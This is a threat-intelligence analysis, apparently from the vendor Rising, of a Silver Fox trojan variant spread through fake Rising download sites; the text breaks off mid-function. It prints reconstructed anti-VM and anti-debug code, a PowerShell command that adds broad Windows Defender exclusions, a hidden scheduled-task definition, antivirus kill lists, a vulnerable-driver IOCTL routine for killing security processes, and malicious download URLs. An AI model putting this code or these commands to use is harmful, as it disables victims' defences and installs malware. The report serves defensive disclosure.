银狐变种借仿冒瑞星官网传播:一场精心策划的恶意软件攻击

概述

  近期,有用户在瑞星论坛反馈发现仿冒瑞星官网的钓鱼站点,这些网站提供的安装包均已被植入恶意代码。根据用户提供的网址,我们获取并分析了带毒安装包,发现其内部包含经VMProtect加固的银狐木马模块。该模块运行后会访问阿里云OSS存储站点,分阶段下载恶意载荷并最终释放后门模块,实现远程命令执行。

事件详情

  本次事件涉及4个仿冒域名:rising-ai.com.cnrising-ai1.com.cnrising-ai2.com.cnrising-ai3.com.cn,这些仿冒网站整体风格与瑞星官网高度相似,具有较强迷惑性。打开网址后页面如下:

image

image

image

image

  下载链接定期变化(实际由网站访问API临时拉取),样本哈希值也不固定(在文件尾部随机填充数据以绕过云查杀)。本次分析时我们从仿冒页面地址:https://www.gyvg3ribwy.com/27load下载到一个带毒的安装包setupll.0.ns001.msi

样本分析

一阶段 MSI 包

字段 内容
原始文件名 setupll.0.ns001.msi
文件大小 8.03 MB (8425472 bytes)
文件MD5 6d80ed242043107482f8230d90d31a4a
文件类型 MSI
主要功能 运行内嵌的 Feitunan DLL

  该MSI安装包内嵌一个加了VMProtect壳的DLL,通过分析MSICustomAction可知,该安装包通过调用Feitunan.dll的导出函数HttpExensionProc启动该模块。

image

一阶段 DLL

字段 内容
原始文件名 Binary_Feitunan
文件大小 7.99MB (8382008 bytes)
文件MD5 d0990e35dc6474269599601f8dee1625
文件类型 DLL
主要功能 执行环境检测,部署二阶段payload

  该模块外层使用VMProtect加固,内层代码包含大量无效函数和无效代码块,API调用逻辑也经过VM处理,极大增加分析难度。运行后首先执行一系列反虚拟机、反调试、提权操作,然后才进入正常功能流程。如下代码是根据原始逻辑去混淆后重构的。

  系统堆单次申请100000000字节(约 95.37 MB)大小的空间,申请失败则判断为异常环境,随后执行10亿次的计数器自增操作。

int Anti_VM1()
{
    //省略部分代码
    ……
    // 检查关键API是否获取成功
    if (!pGetProcessHeap || !pRtlAllocateHeap || !pHeapFree) {
        return 0;  // 失败
    }
    // 分配95MB内存
    hHeap = pGetProcessHeap();
    pMem = pRtlAllocateHeap(hHeap, HEAP_ZERO_MEMORY, 100000000);
    if (!pMem) {
        return 0;//分配失败
    }
    //释放内存(原逻辑:检测通过后释放)
    pHeapFree(hHeap, 0, pMem);
    pMem = NULL;
    //初始化计数器
    dwCount = 0;
    // 原逻辑:外层循环10次,内层循环1亿次
    for (i = 0; i < 10; i++) {
        for (j = 0; j < 100000000; j++) {
            dwCount++;
        }
    }
    return 1;//分配成功
}

  利用函数VirtualAllocExNuma是否执行成功以及进程空间中是否存在模块SxIn.dll检测沙箱环境。

int Anti_Sandbox() 
{
    //省略部分代码
    ……
    pfnGetCurrentProcess pGetCurrentProcess = (pfnGetCurrentProcess)modify_GetFuncProc("kernel32.dll", "GetCurrentProcess");
    pfnVirtualAllocExNuma pVirtualAllocExNuma = (pfnVirtualAllocExNuma)modify_GetFuncProc("kernel32.dll", "VirtualAllocExNuma");
    pfnGetModuleHandleA pGetModuleHandleA = (pfnGetModuleHandleA)modify_GetFuncProc("kernel32.dll", "GetModuleHandleA");
    //使用 VirtualAllocExNuma 分配内存(反沙箱)
    hProcess = pGetCurrentProcess();
    pMem = pVirtualAllocExNuma(hProcess, NULL, 0x3E8, 0x3000, 0x40, 0);
    if (pMem == NULL) {
        return 0;  // 分配失败 → 可能处于沙箱环境
    }
    // SxIn.dll是360安全卫士的隔离沙箱模块
    hSxIn = pGetModuleHandleA("SxIn.dll");
    if(hSxIn == NULL){
        return 1; //未检测到沙箱环境
    }
    return 0;
}

  检测两次rdtsc指令执行结果的差值,来检测当前进程是否处于调试状态。

int rdtsc_AntiDebug_Check(void) 
{
    pfnSleep pSleep = (pfnSleep)modify_GetFuncProc("kernel32.dll", "Sleep");
    unsigned __int64 tsc1 = __rdtsc();  // RDTSC 指令
    DWORD dwLoopCount1 = 0;
    do {
        // 内层循环:执行 5 次 Sleep(100) + Pause
        for (DWORD i = 0; i < 5; i++) {
            _mm_pause();           // PAUSE 指令,降低CPU功耗
            pSleep(100);           // 睡眠 100ms
        }
        dwLoopCount1++;
    } while (dwLoopCount1 < dwTemp);
    unsigned __int64 tsc2 = __rdtsc();
    unsigned __int64 delta = tsc2 - tsc1;//计算时间差 
    if (delta < 10) {
        // 时间差极小 → 可能在沙箱/虚拟机中(RDTSC 被模拟)
        // 返回 0(检测到异常环境)
        return 0;
    }
    //省略部分代码
    ……
    return 1;
}

  比较执行Sleep(0x2710)指令后,两次调用QueryPerformanceCounter函数的结果差值是否等于睡眠时间来判断是否当前进程是否处于调试状态。

int QueryPerformanceCounter_AntiDebug_Check(DWORD dwSleepMs) 
{
    //省略部分代码
    ……
    //第一次读取
    pQueryPerformanceFrequency(&Frequency);
    pQueryPerformanceCounter(&Counter1);
    //执行休眠函数
    pSleep(dwSleepMs); //dwSleepMs = 0x2710
    //第二次读取
    pQueryPerformanceCounter(&Counter2);
    // elapsedSeconds = (Counter2 - Counter1) / Frequency
    elapsedSeconds = (double)(Counter2.QuadPart - Counter1.QuadPart) / (double)Frequency.QuadPart;
    //乘以 1000 转换为毫秒
    result = elapsedSeconds * 1000.0;
    // 在调试器中,由于调试器中断,实际时间会远大于 10000ms
    // 在沙箱中,时间测量可能不准确
    DWORD dwFlag = 0;
    if (result > (double)dwSleepMs) 
    {
        dwFlag = 1;  // 实际时间 > 预期时间 → 检测到调试器
        return 0;
    }
    return 1;
}

  检测Sleep(300)执行前后,两次GetTickCount64()执行返回结果差值,判断当前进程是否处于调试状态。

int DetectDebugger_ByTime_Simplified() 
{
    ULONGLONG t1 = GetTickCount64();
    Sleep(300);
    ULONGLONG t2 = GetTickCount64();

    // 实际经过的时间(毫秒)
    ULONGLONG elapsed = t2 - t1;

    // 如果实际时间 > 预期时间 + 阈值
    // 300ms + 100ms = 400ms
    if (elapsed > 400) {
        return 1;  // 检测到调试器
    }
    return 0;  // 正常环境
}

  接下来是模块的主要功能,主要有进程权限检查和提权,检测杀软进程,设置进程关闭优先级,检测微信进程,下载和部署二阶段payload,添加windows defender扫描排除目录,创建计划任务启动二阶段payload

进程权限检查和提权操作

void CheckProcToken_If_NotAdmin_ReRun(void) 
{
    //检查当前进程是否以管理员权限运行 
    bIsAdmin = (GetProcTokenInfo() != 0);
    int dwFlag = bIsAdmin ? 0 : 1;  // 非管理员时dwFlag=1
    if (dwFlag == 0){
        return ;  
    }
    //循环等待提权完成
    while (!bReRunSuccess) {
        pGetModuleFileNameA(NULL, szCurrentPath, MAX_PATH);
        memset(&sei, 0, sizeof(SHELLEXECUTEINFOA));
        sei.cbSize = sizeof(SHELLEXECUTEINFOA);
        sei.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_NO_UI;
        sei.lpVerb = "runas";        // 以管理员权限运行
        sei.lpFile = szCurrentPath;  // 当前程序路径
        sei.lpParameters = "plp";    // 传递给新进程的参数
        sei.nShow = SW_SHOWNORMAL;
        //执行 ShellExecuteEx 提权
        bReRunSuccess = pShellExecuteExA(&sei);
        //检查提权是否成功
        int dwShellResult = bReRunSuccess ? 1 : 0;
        if (dwShellResult == 0) {
            pExitProcess(0);  // 提权失败,退出当前进程
            return;
        }
        //标记提权成功并关闭句柄
        bReRunSuccess = TRUE;
        if (sei.hProcess) {
            pCloseHandle(sei.hProcess);
        }
    }
}

使用进程名和窗口名检测杀软

安全软件名称 进程名
360 360tray.exe,360sd.exe,360safe.exe,QHSafeTray.exe,cefutil.exe
火绒安全 HipsDaemon.exe,HipsTray.exe
金山 kxetray.exe,KSafeTray.exe
BKav Bka.exe,BLuPro.exe,BkavService.exe,BkavUtil.exe
安全软件名称 窗口名
360 Q360SafeMonClass
int FindTargetProcessId(const char* lpTargetProcessName) 
{
    //省略部分代码
    ……
    //创建进程快照 
    hSnapshot = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    // 检查快照是否创建成功
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        pCloseHandle(hSnapshot);
        return 0;
    }
    //准备遍历进程 
    pe32.dwSize = sizeof(PROCESSENTRY32);
    //遍历第一个进程 
    bool bResult = pProcess32First(hSnapshot, &pe32);
    if (bResult == 0) {  
        pCloseHandle(hSnapshot);
        return 0;
    }
    hSnapshot = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return 0;
    }
    pe32.dwSize = sizeof(PROCESSENTRY32);
    bResult = pProcess32First(hSnapshot, &pe32);
    while (bResult) {
        // 比较当前进程名是否与目标进程名匹配
        DWORD dwCmpResult = CmpString(lpTargetProcessName, pe32.szExeFile);
        if (dwCmpResult != 0) {
            dwTargetPid = pe32.th32ProcessID;// 匹配成功,保存进程ID
            break;
        }
        // 继续遍历下一个进程
        bResult = pProcess32Next(hSnapshot, &pe32);
    }
    pCloseHandle(hSnapshot);
    return dwTargetPid;
}

设置进程关闭优先等级

void Main_Proc(void) {
    //动态获取
    pSetProcessShutdownParameters = (pfnSetProcessShutdownParameters)modify_GetFuncProc(szKernel32, szSetShutdownParams);
    pSetConsoleCtrlHandler = (pfnSetConsoleCtrlHandler)modify_GetFuncProc( szKernel32, szSetConsoleCtrlHandler);
    // 设置进程关机优先级 
    // 优先级范围 0-0x1FF (0-511), 数值越小优先级越高
    // 设置为 1 表示高优先级,使进程在系统关机时尽量晚被终止
    pSetProcessShutdownParameters(1, 1);
    //  安装控制台控制事件处理函数
    // 安装后,当用户关闭控制台窗口或按 Ctrl+C 时,会调用回调函数
    pSetConsoleCtrlHandler(ConsoleCtrlHandler, TRUE);
    //省略部分代码
    ……
}

BOOL WINAPI ConsoleCtrlHandler(DWORD dwCtrlType) {
    // 检查控制事件类型
    if (dwCtrlType == CTRL_CLOSE_EVENT) {  // 6 = CTRL_CLOSE_EVENT
        return TRUE;   // 已处理,阻止关闭
    }
    // 其他所有事件类型也返回 TRUE
    return TRUE;
}

检测微信进程,并在注册表中留下信息

int Find_Weixin_And_CreateRegKey_ctrl(void) 
{
    // 检测微信企业版进程是否存在
    dwPid = FindTarget_Process_ctrl("WXWork.exe");
    // 根据检测结果选择写入的数据 
    if (dwPid != 0) {
        // 微信进程存在 → 使用数据A
        pData = (LPCSTR)0x7FEEE29EA70;//2A 2F 26 FE 36 F8 82 E5 86 E5 FE FE 95 96 87 8E 84 9B D0 8F 9D 9F FE FE 86 E5 FE FE AE BB B2 CC  
    } else {
        // 微信进程不存在 → 使用数据B
        pData = (LPCSTR)0x7FEEE29EA98;//2A 2F 26 FE 36 F8 82 E5 D6 DD FE FE 95 8A 9F 95 99 86 D0 9C 8D 96 FE FE 89 E5 FE FE C8 D0 CC CE  
    }
    status = pRegOpenKeyExA(HKEY_LOCAL_MACHINE,"SOFTWARE\\JDBCC",0,KEY_ALL_ACCESS,  &hKey);
    if (status != ERROR_SUCCESS) {
        status = pRegCreateKeyExA(HKEY_LOCAL_MACHINE,"SOFTWARE\\JDBCC",0,NULL,0,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition);
        if (status != ERROR_SUCCESS) {
            return 0;  // 创建失败
        }
    }
    status = pRegSetValueExA(hKey,"data",0,dwDataType,  );
    if (status != ERROR_SUCCESS) {
        pRegCloseKey(hKey);
        return 0;
    }
    pRegCloseKey(hKey);
    return 1;  
}

下载和部署二阶段payload

URL 解码算法 对应内容
https://zlq2s4.oss-cn-beijing.aliyuncs.com/tad 滚动密钥多字节异或,Key=0x0A81CDB6F 二阶段payload配置信息
https://zlq2s4.oss-cn-beijing.aliyuncs.com/a.gif 单字节异或 install.exe(白文件)
https://zlq2s4.oss-cn-beijing.aliyuncs.com/b.gif 单字节异或 UxEnhance64.dll(黑DLL)
https://zlq2s4.oss-cn-beijing.aliyuncs.com/c.gif 单字节异或 msadox.tb
https://zlq2s4.oss-cn-beijing.aliyuncs.com/d.gif 单字节异或 adoresd.dat
https://zlq2s4.oss-cn-beijing.aliyuncs.com/s.dat 滚动密钥多字节异或,Key=0x0A6C4F6B8 ranchserv.jpg(被利用的驱动)
https://zlq2s4.oss-cn-beijing.aliyuncs.com/s.jpg 单字节异或 创建计划任务的shellcode

  部署路径为:C:\Users\Public\[6字节随机串]\,文件install.exeUxEnhance64.dlladoresd.datmsadox.tb均放在该目录下,其中,install.exe会被重命名,命名规则[6字节随机串].exe,所有文件落地后包括部署文件夹都会被设置隐藏属性;文件ranchserv.jpg部署到C:\Windows\Temp\目录下,文件属性没有任何修改。

  滚动密钥多字节异或算法。

void xor_decode1(uint8_t* pData, size_t data_len,uint32_t key) {
    size_t i = 0;               // 当前处理位置
    uint8_t original_byte = 0;  // 保存当前字节的原始值 (用于更新密钥)

    while (i < data_len) {
        // 保存当前字节的原始值
        original_byte = pData[i];
        // 从密钥中提取一个字节作为异或因子
        //计算位置: i % 4, 然后乘以8得到位移量 (0, 8, 16, 24)
        int shift = (i % 4) * 8;
        // 提取密钥中对应位置的字节 (低8位)
        uint8_t xor_key = (uint8_t)((key >> shift) & 0xFF);
        //对当前字节进行异或变换
        pData[i] = pData[i] ^ xor_key;
        //更新密钥: 左移8位, 然后将原始字节放入低8位,这形成一个8位宽的滚动密钥
        key = (key << 8) | original_byte;
        //移动到下一个位置
        i++;
    }
    return;
}

   单字节异或算法。算法流程:读取文件最后一个字节作为异或的Key,最后从文件异或起始偏移开始,用Key逐字节异或解码,异或起始偏移是从文件末尾倒数第二个字节开始,往前读取4个字节得到。

void xor_decode2(uint8_t* pSrc, size_t src_len, size_t encode_offset, uint8_t last_byte) {
    size_t i = encode_offset;  // 从指定的偏移量开始

    // 循环处理每个字节,直到结束
    while (i < src_len) {
        // 取出当前字节 (有符号扩展,但实际只取低8位)
        int8_t current_byte = (int8_t)pSrc[i];
        // 与密钥字节进行异或
        uint8_t decoded_byte = (uint8_t)(current_byte ^ last_byte);
        // 将结果写回原位置
        pSrc[i] = decoded_byte;
        // 密钥字节自增 (模256)
        last_byte++;
        // 移到下一个位置
        i++;
    }
    return;
}

添加Windows Defender扫描排除目录

排除的目录有:C:\C:\UsersC:\Windows\TempC:\WindowsC:\ProgramDataC:\Program Files (x86);执行的powershell命令有两种,如下:

try {
    $null = Add-MpPreference -ExclusionPath @(
        'C:\',
        'C:\Users',
        'C:\Windows\Temp',
        'C:\Windows',
        'C:\ProgramData',
        'C:\Program Files (x86)'
    ) -Force -ErrorAction SilentlyContinue
} catch {
    $host.SetShouldExit($_.Exception.HResult)
}
Add-MpPreference -ExclusionPath 'C:\Windows','C:\Windows\Temp','C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force

创建计划任务启动二阶段payload

内存加载创建计划任务的shellcode,代码会解压内嵌的一个DLL,内存加载后找到导出函数VirtuOne并执行,该函数通过RPC接口创建计划任务。XML内容如下:

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Description/>
    <URI>\</URI>
  </RegistrationInfo>

  <Triggers>
    <!-- 触发方式1:用户登录时自动运行 -->
    <LogonTrigger>
      <Enabled>true</Enabled>
    </LogonTrigger>

    <!-- 触发方式2:定时循环执行 -->
    <TimeTrigger>
      <Repetition>
        <Interval>PT1M</Interval>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2009-04-23T00:00:00</StartBoundary>
      <Enabled>true</Enabled>
    </TimeTrigger>
  </Triggers>

  <Principals>
    <Principal id="Author">
      <!-- Users普通用户组SID -->
      <GroupId>S-1-5-32-545</GroupId>
      <!-- 以最高可用权限运行(管理员权限) -->
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>

  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>false</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <!-- 隐藏任务,任务计划管理器默认不展示 -->
    <Hidden>true</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>4</Priority>
  </Settings>

  <Actions Context="Author">
    <!-- 要启动的恶意可执行程序 -->
    <Exec>
      <Command>C:\Users\Public\bhb1DC\aaIbgU.exe</Command>
      <WorkingDirectory>C:\Users\Public\bhb1DC\</WorkingDirectory>
      <Arguments />
    </Exec>
  </Actions>
</Task>

二阶段 UxEnhance64.dll

字段 内容
原始文件名 UxEnhance64.dll
文件大小 3.10MB (3255824 bytes)
文件MD5 c8977f8db2c79463157c298bb0328198
文件类型 DLL
主要功能 加载二阶段DLL

  计划任务启动重命名后的install.exe,该EXE加载UxEnhance64.dll。此模块同样经VMProtect加固,内层代码经过混淆处理。

  该模块读取msadox.tb,通过搜索特征码BBE6362333963B89定位解密偏移,使用RC4算法解密msadox_tb_shellcode(密钥:3DE23F7AD283A1F7),最后内存执行。

void msadox_tb_RCEDecrypt(BufferContext* pOutput,BYTE** ppInputData,BYTE* pKeyData,BYTE** ppPattern) 
{
    // 计算可搜索范围
    BYTE* pSearchEnd = pInputEnd - patternLen;
    // 在数据中查找模式
    while (pCurrentInput <= pSearchEnd) {
        if (memcmp(pPatternStart, pCurrentInput, patternLen) == 0) {
            // 找到匹配
            pFoundPos = pCurrentInput;
            break;
        }
        pCurrentInput++;
    }
    //检查是否找到模式
    if (pFoundPos == pInputEnd) {
        // 未找到模式,输出为空
        pOutput->pData = NULL;
        pOutput->pEnd = NULL;
        pOutput->pCurrent = NULL;
        return;
    }
    // 从找到位置开始,跳过模式长度
    pCurrentInput = pFoundPos + patternLen;
    // 初始化RC4风格的S盒
    BYTE sbox[256];
    BYTE* pTempKey = (BYTE*)operator_new(0x100);
    if (!pTempKey) {
        goto CLEANUP;
    }
    memset(pTempKey, 0, 0x100);
    // 计算密钥长度
    int keyLen = ((int*)pKeyData)[1] - ((int*)pKeyData)[0];
    // ============ 6. KSA (Key Scheduling Algorithm) ============
    // 初始化S盒
    for (int i = 0; i < 256; i++) {
        sbox[i] = (BYTE)i;
    }
    int j = 0;
    int k = 0;
    // 此处的循环生成一个置换表(类似RC4 KSA)
    for (int i = 0; i < 256; i++) {
        // 从密钥数据中取字节(循环使用)
        BYTE keyByte = ((BYTE*)pKeyData)[j % keyLen];
        j = (j + keyByte + sbox[i]) & 0xFF;
        // 交换
        BYTE temp = sbox[i];
        sbox[i] = sbox[j];
        sbox[j] = temp;
    }
    //对输出数据进行RC4 PRGA解密
    int i = 0;
    int j2 = 0;
    int k2 = 0;
    BYTE* pSrc = pOutputBuf;
    BYTE* pDest = pOutputBuf;
    size_t remaining = outBufSize;
    // PRGA (Pseudo-Random Generation Algorithm)
    while (remaining > 0) {
        i = (i + 1) & 0xFF;
        j2 = (j2 + sbox[i]) & 0xFF;
        // 交换
        BYTE temp = sbox[i];
        sbox[i] = sbox[j2];
        sbox[j2] = temp;
        // 生成密钥流字节并异或
        BYTE keyStream = sbox[(sbox[i] + sbox[j2]) & 0xFF];
        *pDest = *pSrc ^ keyStream;
        pSrc++;
        pDest++;
        remaining--;
    }
    // 释放临时资源
    if (pTempKey) {
        operator_delete(pTempKey, 0x100);
    }
    //省略部分代码
    ……
}

  shellcode_msadox_tb运行后,读取文件adoresd.dat,使用单字节异或算法解码(解码起始偏移=0x5d0,Key=F8)得到内嵌的adoresd.dll,该DLL同样使用VMProtect保护,在当前进程空间按内存加载该DLL,最后调用导出函数DelegateEnSerialization

二阶段 adoresd.dat

字段 内容
原始文件名 adoresd.dat
文件大小 4.80 MB (5036528 bytes)
文件MD5 85c36ab04a0a7458da63608ca81c8e59
文件类型 DLL
主要功能 环境检测及部署三阶段payload

  该模块功能包括:检查杀软进程、利用漏洞驱动结束杀软进程、设置注册表内的部署标志、利用系统机制阻止安全软件运行、创建计划任务、检查互斥体状态、下载三阶段配置文件。

检测杀软进程

通过进程枚举函数CreateToolhelp32SnapshotProcess32FirstProcess32Next,检测如下列表中的进程名。

安全软件名称 进程名
360 360tray.exe,360sd.exe,360safe.exe,QHSafeTray.exe
腾讯管家 QQPCMgr.exe,QQPCRTP.exe,QQPCTray.exe
BKav Bka.exe
Windows Defender msmpeg.exe,securityhealthsystray.exe,mpcopyaccelerator.exe,MpDefenderCoreService.exe,NisSrv.exe

利用漏洞驱动结束杀软进程

之前下载的ranchserv.jpg实质为Adlice RogueKillerTrueSight驱动,该驱动未进行调用者校验,可被用于结束杀软进程

循环检测内置进程列表,若发现则调驱动接口杀进程。内置的处置进程列表如下:

软件名称 进程名
360 360Safe.exe, 360sd.exe, 360rp.exe, 360rps.exe, 360Tray.exe, ZhuDongFangYu.exe, LiveUpdate360.exe, 360leakfixer.exe, 360sdrun.exe, 360sdupd.exe, 360FileGuard.exe, dep360.exe, SRAgent.exe, ModuleUpdate.exe, FileSmasher.exe, AgreementViewer.exe, SoftMgrLite.exe, KanKan.exe, SuperKiller.exe, DumpUper.exe, DSMain.exe, DSMain64.exe, FirstAidBox.exe, CheckSM.exe, HipsMain.exe, HipsDaemon.exe, HipsTray.exe, HRUpdate.exe, HipsLog.exe, NetFlow.exe, Autoruns.exe, usysdiag.exe, 360sdUpd.exe, 360safeupa.exe, 360DiagnoseScan.exe, 360SecLogonHelper.exe, 360huabao.exe, cefutil.exe, PopWndLog.exe, PromoUtil.exe, QHActiveDefense.exe, QHSafeMain.exe, QHSafeScanner.exe, QHSafeTray.exe, QHWatchdog.exe, safeboxTray.exe, 360safebox.exe
金山毒霸 kxemain.exe, kxescore.exe, kscan.exe, kxecenter.exe, kxetray.exe, kdinfomgr.exe, kislive.exe, knewvip.exe, ksoftpurifier.exe, ktrashautoclean.exe, kauthorityview.exe, kupdata.exe, kxewsc.exe, kdrvmgr.exe, kismain.exe, KSafeTray.exe, mpcopyaccelerator.exe, kwsprotect64.exe
腾讯电脑管家 QMDL.exe, QMPersonalCenter.exe, QQPCPatch.exe, QQPCRealTimeSpeedup.exe, QQPCRTP.exe, QQPCTray.exe, QQRepair.exe, QQPCMgrUpdate.exe, QMProviderUpdate.exe, QQPCUpdateAVLib.exe, QMCheckNetwork.exe, QQPCMgrDaemon.exe
2345安全卫士 2345SafeCenterSvc.exe, 2345RTProtect.exe, 2345SafeSvc.exe, 2345MPCSafe.exe, 2345SafeTray.exe, 2345SafeUpdate.exe, 2345VirusScan.exe, 2345ManuUpdate.exe, 2345AdRtProtect.exe, 2345AuthorityProtect.exe, 2345ExtShell.exe, 2345ExtShell64.exe, 2345FileShre.exe, 2345LeakFixer.exe, 2345LSPFix.exe, 2345PCSafeBootAssistant.exe, 2345RtProtectCenter.exe, 2345ShellPro.exe, 2345SysDoctor.exe
联想电脑管家 LenovoPcManagerService.exe, LenovoPcManager.exe, LAVService.exe, LenovoTray.exe, LnvSvcFdn.exe, wsctrl7.exe, wsctrl10.exe, wsctrl11.exe, LenovoAppupdate.exe, LenovoAppStore.exe, DesktopAssistantApp.exe, DesktopAssistant.exe, LenovoMonitorManager.exe, LenovoOKM.exe, LeASHive.exe, StartupManager.exe, WSPluginHost.exe, WSPluginHost64.exe, crashpad_handler.exe, SearchEngine.exe, LISFService.exe, Lsf.exe, Appvant.exe, LenovoInternetSoftwareFramework.exe, EMDriverAssist.exe, LeAppOM.exe, hotfixplatform.exe, MSPCManager.exe, MSPCManagerService.exe
卡巴斯基 avp.exe, avpui.exe
Avast AvastSvc.exe, aswToolsSvc.exe, aswidsagent.exe, wsc_proxy.exe, AvastUI.exe
Avira Avira.Spotlight.Service.exe, endpointprotection.exe, SentryEye.exe, Avira.Spotlight.Common.Updater.exe, Avira.Spotlight.FallbackUpdater.exe, Avira.Spotlight.UI.Application.exe, Avira.Spotlight.Systray.Application.exe, Avira.OptimizerHost.exe, Avira.Spotlight.Bootstrapper.exe, Avira.Spotlight.Service.Worker.exe, Avira.Spotlight.Common.UpdaterTracker.exe, Avira.Spotlight.UI.Application.Messaging.exe, Avira.Spotlight.UI.AdministrativeRightsProvider.exe
迈克菲(McAfee) mfemms.exe, mfevtps.exe, mcapexe.exe, mcshield.exe, McUICnt.exe, MfeAVSvc.exe
Windows Defender MsMpEng.exe, MpCmdRun.exe, NisSrv.exe, SecurityHealthSystray.exe, MpDefenderCoreService.exe
火绒安全 wsctrlsvc.exe, wsctrl.exe, HipsMain.exe, HipsDaemon.exe, HipsTray.exe, HRUpdate.exe, HipsLog.exe, NetFlow.exe, wscreg.exe, KSafeSvc.exe, KWatch.exe
Bkav Bka.exe, BkavService.exe, BkavSystemServer.exe, BkavSystemService.exe, BkavSystemService64.exe, BkavUtil.exe, BLuPro.exe, BluProService.exe
百度杀毒 baiduSafeTray.exe, BaiduSd.exe
瑞星 RavMonD.exe
江民 KvMonXP.exe
趋势科技 TMBMSRV.exe, vsserv.exe
Bitdefender vsserv.exe
ESET NOD32 ekrn.exe, egui.exe
熊猫卫士 PSafeSysTray.exe
K7杀毒 K7TSecurity.exe, knsdtray.exe
AhnLab V3Svc.exe
Quick Heal QUHLPSVC.EXE
UnThreat UnThreat.exe
Ad-Watch ad-watch.exe
Comodo cmdagent.exe, cis.exe
ZoneAlarm vsmon.exe, zatray.exe
Webroot WRSA.exe, wrsa.exe
Malwarebytes MBAMService.exe, MBAMTray.exe
Emsisoft a2service.exe, a2guard.exe
F-Secure fsav32.exe, fssm32.exe
G Data gdscan.exe, gdtray.exe
Panda Security PavFnSvr.exe, PavPrSrv.exe
Total Defense rtvscan.exe, remupd.exe
Sophos savservice.exe, SophosUI.exe
赛门铁克/诺顿 ccSvcHst.exe, navw32.exe, rtvscan.exe
奇安信天擎 TQClient.exe, TQedrname.exe, TQSafeUI.exe, TQTray.exe, trantorAgent.exe, TQDefender.exe, TQUpdateUI.exe, TQWatermark.exe
联软科技 DlpAppData.exe, NACLdis.exe
Lds(联达安全) Ldshelper.exe, LdsSecurity.exe, LdsSecurityAider.exe
鲁大师 ComputerZTray.exe, computercenter.exe, guardhp.exe, ComputerZ_CN.exe, ComputerZService.exe, ComputerzService_x64.exe, hdw_disk_scan.exe, ComputerZMonHelper.exe, DrvMgr.exe, web_host.exe
其他 gov_defence_service.exe, gov_defence_daemon.exe, safesvr.exe
CreateService_ctrl() 
{
    SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (!hSCM) {
        printf("[!] OpenSCManager 失败: %d\n", GetLastError());
        return 1;
    }
    //创建服务
    hSvc = CreateServiceA(
        hSCM,
        "TCLService",// 服务名
        "TCL Service",// 显示名
        GENERIC_ALL,
        SERVICE_WIN32_OWN_PROCESS,
        SERVICE_AUTO_START,// 自动启动
        SERVICE_ERROR_NORMAL,
        "C:\\Windows\\Temp\\ranchserv.jpg",// 路径
        NULL, NULL, NULL, NULL, NULL
    );
    if (!hSvc) {
        CloseServiceHandle(hSCM);
        return 1;
    }
    //启动服务
    StartServiceA(hSvc, 0, NULL);
    printf("[+] 服务已启动\n");
    CloseServiceHandle(hSvc);
    CloseServiceHandle(hSCM);
    return 0;
}

DWORD Use_KillService_ctrl(const char* pszTargetProcess, DWORD dwFlags) 
{
    //打开 TrueSight 设备
    hDevice = CreateFileA(
        "\\\\.\\TrueSight",
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );
    if (hDevice == INVALID_HANDLE_VALUE) {
        // 设备打开失败

        return -1;
    }
    DWORD dwPid = CheckTarget_Process_ctrl(pszTargetProcess);
    //省略部分代码
    ……
    // 执行核心操作(设备I/O控制)
    // 通过 DeviceIoControl 与 TrueSight 驱动通信
    // 用于终止安全软件进程或服务
    DWORD dwInputBuffer[4] = {0};
    dwInputBuffer[0] = (DWORD)pszTargetProcess;
    dwInputBuffer[1] = dwFlags;
    dwInputBuffer[2] = dwPid;
    dwInputBuffer[3] = dwCalcResult;

    // 调用驱动控制函数
    DWORD dwBytesReturned = 0;
    BOOL bResult = DeviceIoControl(
        hDevice,
        0x22E044,  // IOCTL 控制码
        dwInputBuffer,
        sizeof(dwInputBuffer),
        &dwResult,
        sizeof(dwResult),
        &dwBytesReturned,
        NULL
    );
    if (hDevice != INVALID_HANDLE_VALUE) {
        CloseHandle(hDevice);
    }
    return dwResult;
}

设置注册表内的部署标志

检查注册表部署进度注册表标志键值,若键值revbs不为1,则枚举计划任务,判断当前所有项是否包含恶意模块当前的启动程序路径,最后该键值置1。

BOOL Com_QueryTaskByExePath_ctrl(const char* pszTaskPath, const char* pszTaskName,PWCHAR wszExePath) 
{
    //初始化
    hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
    //创建任务计划服务对象
    hr = CoCreateInstance(CLSID_TaskScheduler,NULL,CLSCTX_INPROC_SERVER,IID_ITaskService,(void**)&pService);
    // 连接任务计划服务
    hr = pService->Connect(_variant_t(),_variant_t(),_variant_t(),_variant_t());
    // 获取根任务文件夹 
    hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
    // 获取指定路径的任务文件夹(如果提供了路径)
    // 
    if (pszTaskPath != NULL && pszTaskPath[0] != '\0') {
        MultiByteToWideChar(CP_ACP, 0, pszTaskPath, -1, wszTaskPath, 520);
        hr = pRootFolder->GetFolder(_bstr_t(wszTaskPath), &pTaskFolder);
